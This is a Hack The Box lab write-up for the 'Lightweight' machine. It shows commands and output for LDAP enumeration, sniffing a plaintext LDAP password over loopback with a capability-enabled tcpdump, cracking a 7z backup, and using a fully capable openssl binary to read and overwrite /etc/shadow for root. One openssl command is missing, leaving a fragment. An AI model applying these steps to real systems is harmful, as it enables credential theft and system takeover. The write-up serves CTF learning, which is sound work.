Lightweight - Hack The Box
Lightweight was a fun box that uses Linux capabilities set on tcpdump so we can capture packets on the loopback interface and find credentials in an LDAP session. We then find more credentials in the source code of the web application and finally priv esc to root by abusing a copy of the openssl program that all has Linux caps set on it.
Summary
- The main web page contains instructions on how to access the box by SSH (basically an account is automatically created based on the user’s IP address)
- The
status.php
page does an LDAP query to the loopback interface, which can be intercepted since tcpdump is running with elevated caps - The LDAP query contains the credentials for user
ldapuser2
- User
ldapuser2
has access to the PHP source code for the web application, which has credentials for userldapuser1
- There is an
openssl
binary in the home directory ofldapuser1
with elevated caps that let us read/write any files on the system
Portscan
We got SSH, Apache httpd and OpenLDAP runnning on this box.
root@ragingunicorn:~# nmap -sC -sV -p- 10.10.10.119
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-10 23:27 EST
Nmap scan report for 10.10.10.119
Host is up (0.024s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 19:97:59:9a:15:fd:d2:ac:bd:84:73:c4:29:e9:2b:73 (RSA)
| 256 88:58:a1:cf:38:cd:2e:15:1d:2c:7f:72:06:a3:57:67 (ECDSA)
|_ 256 31:6c:c1:eb:3b:28:0f:ad:d5:79:72:8f:f5:b5:49:db (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
|_http-title: Lightweight slider evaluation page - slendr
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
| ssl-cert: Subject: commonName=lightweight.htb
| Subject Alternative Name: DNS:lightweight.htb, DNS:localhost, DNS:localhost.localdomain
| Not valid before: 2018-06-09T13:32:51
|_Not valid after: 2019-06-09T13:32:51
|_ssl-date: TLS randomness does not represent time
Web page
There’s not much on the webpage except some instructions on how to login via SSH, how to reset the user password and a status check page.
One thing to note is the status page always take a long time to execute so there is probably some script running in the background.
As per the instruction, we can log in with our IP as username / password:
# ssh -l 10.10.14.23 10.10.10.119
10.10.14.23@10.10.10.119's password:
[10.10.14.23@lightweight ~]$ id
uid=1004(10.10.14.23) gid=1004(10.10.14.23) groups=1004(10.10.14.23) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
LDAP enum
The LDAP server allows any user to search the directory and does not require authentication:
# ldapsearch -h 10.10.10.119 -b "dc=lightweight,dc=htb" -x
# ldapuser1, People, lightweight.htb
dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
uid: ldapuser1
cn: ldapuser1
sn: ldapuser1
mail: ldapuser1@lightweight.htb
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: top
objectClass: shadowAccount
userPassword:: e2NyeXB0fSQ2JDNxeDBTRDl4JFE5eTFseVFhRktweHFrR3FLQWpMT1dkMzNOd2R
oai5sNE16Vjd2VG5ma0UvZy9aLzdONVpiZEVRV2Z1cDJsU2RBU0ltSHRRRmg2ek1vNDFaQS4vNDQv
shadowLastChange: 17691
shadowMin: 0
shadowMax: 99999
shadowWarning: 7
loginShell: /bin/bash
uidNumber: 1000
gidNumber: 1000
homeDirectory: /home/ldapuser1
# ldapuser2, People, lightweight.htb
dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
uid: ldapuser2
cn: ldapuser2
sn: ldapuser2
mail: ldapuser2@lightweight.htb
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: top
objectClass: shadowAccount
userPassword:: e2NyeXB0fSQ2JHhKeFBqVDBNJDFtOGtNMDBDSllDQWd6VDRxejhUUXd5R0ZRdms
zYm9heW11QW1NWkNPZm0zT0E3T0t1bkxaWmxxeXRVcDJkdW41MDlPQkUyeHdYL1FFZmpkUlF6Z24x
shadowLastChange: 17691
shadowMin: 0
shadowMax: 99999
shadowWarning: 7
loginShell: /bin/bash
uidNumber: 1001
gidNumber: 1001
homeDirectory: /home/ldapuser2
We can see two sets of credentials here. These are actually Base64 encoded versions of the Linux SHA512 hashes.
First hash decodes to: {crypt}$6$3qx0SD9x$Q9y1lyQaFKpxqkGqKAjLOWd33Nwdhj.l4MzV7vTnfkE/g/Z/7N5ZbdEQWfup2lSdASImHtQFh6zMo41ZA./44/
None of the hashes could be cracked using rockyou.txt
, so we have to get the password some other way.
Checking caps
I checked the entire filesystem for any files running with elevated capabilities. Capabilities are used when a program need some kind of privilege that would normally require root access. With caps, we can give specific privileges to the binary without making the file suid or running it directly as root.
[10.10.14.23@lightweight ~]$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
Here, tcpdump
has some caps set to allow a regular user to capture traffic on any interface.
As per http://man7.org/linux/man-pages/man7/capabilities.7.html, the exact description of the caps are:
CAP_NET_ADMIN
Perform various network-related operations:
* interface configuration;
* administration of IP firewall, masquerading, and accounting;
* modify routing tables;
* bind to any address for transparent proxying;
* set type-of-service (TOS)
* clear driver statistics;
* set promiscuous mode;
* enabling multicasting;
CAP_NET_RAW
* Use RAW and PACKET sockets;
* bind to any address for transparent proxying.
Capturing traffic
There is an automated script on the box that connects locally to the LDAP server via the loopback interface. Because it’s not using LDAPS, the credentials are in plaintext and I can capture them by sniffing the loopback interface.
[10.10.14.23@lightweight ~]$ tcpdump -nni lo -w /tmp/capture.pcap
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
After grabbing the .pcap file via scp, we can see the following LDAP query using simple authentication with user ldapuser2
And we’ve got the password in plaintext here:
ldapuser2
password is: 8bc8251332abe1d7f105d3e53ad39ac2
Logging in as ldapuser2 and grabbing the user flag
We can’t SSH in as ldapuser2
but we’re able to su
to ldapuser2
.
[10.10.14.23@lightweight ~]$ su -l ldapuser2
Password:
Last login: Mon Dec 10 21:41:37 GMT 2018 on pts/1
Last failed login: Tue Dec 11 04:35:22 GMT 2018 from 10.10.14.23 on ssh:notty
There was 1 failed login attempt since the last successful login.
[ldapuser2@lightweight ~]$ ls
backup.7z OpenLDAP-Admin-Guide.pdf OpenLdap.pdf user.txt
[ldapuser2@lightweight ~]$ cat user.txt
8a866d...
Privesc to ldapuser1
The backup.7z
file in ldapuser2’s home directory is our next logical target, however it has a password set on it:
# 7z e backup.7z
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-2600K CPU @ 3.40GHz (206A7),ASM,AES-NI)
Scanning the drive for archives:
1 file, 3411 bytes (4 KiB)
Extracting archive: backup.7z
--
Path = backup.7z
Type = 7z
Physical Size = 3411
Headers Size = 259
Method = LZMA2:12k 7zAES
Solid = +
Blocks = 1
Enter password (will not be echoed):
I’ll use 7z2john
to extract the hash then crack it with john
:
root@ragingunicorn:~/JohnTheRipper/run# ./7z2john.pl /root/tmp/backup.7z
backup.7z:$7z$2$19$0$$8$11e96[...]
# ~/JohnTheRipper/run/john -w=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-70.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip [SHA256 128/128 AVX 4x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 12 for all loaded hashes
Cost 3 (compression type) is 2 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
delete (?)
1g 0:00:00:40 DONE (2018-12-10 23:59) 0.02448g/s 50.53p/s 50.53c/s 50.53C/s poison..nokia
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Password is : delete
# 7z x -obackup backup.7z
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
[...]
Size: 10270
Compressed: 3411
root@ragingunicorn:~/tmp# ls -l backup
total 24
-rw-r----- 1 root root 4218 Jun 13 14:48 index.php
-rw-r----- 1 root root 1764 Jun 13 14:47 info.php
-rw-r----- 1 root root 360 Jun 10 2018 reset.php
-rw-r----- 1 root root 2400 Jun 14 15:06 status.php
-rw-r----- 1 root root 1528 Jun 13 14:47 user.php
We have a backup of the web application source code and status.php
contains credentials:
$username = 'ldapuser1';
$password = 'f3ca9d298a553da117442deeb6fa932d';
We can then su
to ldapuser1
with that password:
[10.10.14.23@lightweight ~]$ su -l ldapuser1
Password:
Last login: Tue Dec 11 02:01:07 GMT 2018 on pts/1
[ldapuser1@lightweight ~]$ ls
capture.pcap ldapTLS.php openssl tcpdump
Final privesc
Checking caps again, we see the openssl
binary in the current directory has caps set:
[ldapuser1@lightweight ~]$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
/home/ldapuser1/tcpdump = cap_net_admin,cap_net_raw+ep
/home/ldapuser1/openssl =ep
The =ep
caps means the all capabilities are assigned to the file. We can read /etc/shadow
with openssl by encrypting it to a file in our home directory, then decrypting it:
-256-cbc encryption password:
Verifying - enter aes-256-cbc encryption password:
[ldapuser1@lightweight ~]$ ./openssl aes-256-cbc -d -a -in shadow.enc -out shadow
enter aes-256-cbc decryption password:
[ldapuser1@lightweight ~]$ cat shadow
root:$6$eVOz8tJs$xpjymy5BFFeCIHq9a.BoKZeyPReKd7pwoXnxFNOa7TP5ltNmSDsiyuS/ZqTgAGNEbx5jyZpCnbf8xIJ0Po6N8.:17711:0:99999:7:::
[...]
ldapuser1:$6$OZfv1n9[v$2gh4EFIrLW5hZEEzrVn4i8bYfXMyiPp2450odPwiL5yGOHYksVd8dCTqeDt3ffgmwmRYw49c]MFueNZNOoI6A1.:17691:365:99999:7:::
ldapuser2:$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1:17691:365:99999:7:::
10.10.14.2:clJFBL7EDs1H6:17851:0:99999:7:::
10.10.14.13:qehr2qxjyEzkw:17874:0:99999:7:::
10.10.14.26:syd74YenpBuf6:17875:0:99999:7:::
10.10.14.12:pdfLwDAqvvWI2:17876:0:99999:7:::
10.10.14.23:owYEfkaBVoeFI:17876:0:99999:7:::
We probably can’t crack the root hash because the HTB boxes typically have a very complex password for the root account but we can replace the shadow file with an empty root password:
[ldapuser1@lightweight ~]$ ./openssl aes-256-cbc -a -salt -in shadow -out shadow.enc
enter aes-256-cbc encryption password:
Verifying - enter aes-256-cbc encryption password:
[ldapuser1@lightweight ~]$ ./openssl aes-256-cbc -d -a -in shadow.enc -out /etc/shadow
enter aes-256-cbc decryption password:
[ldapuser1@lightweight ~]$ su -l root
Last login: Thu Dec 6 14:09:41 GMT 2018 on tty1
[root@lightweight ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@lightweight ~]# cat root.txt
f1d4e3...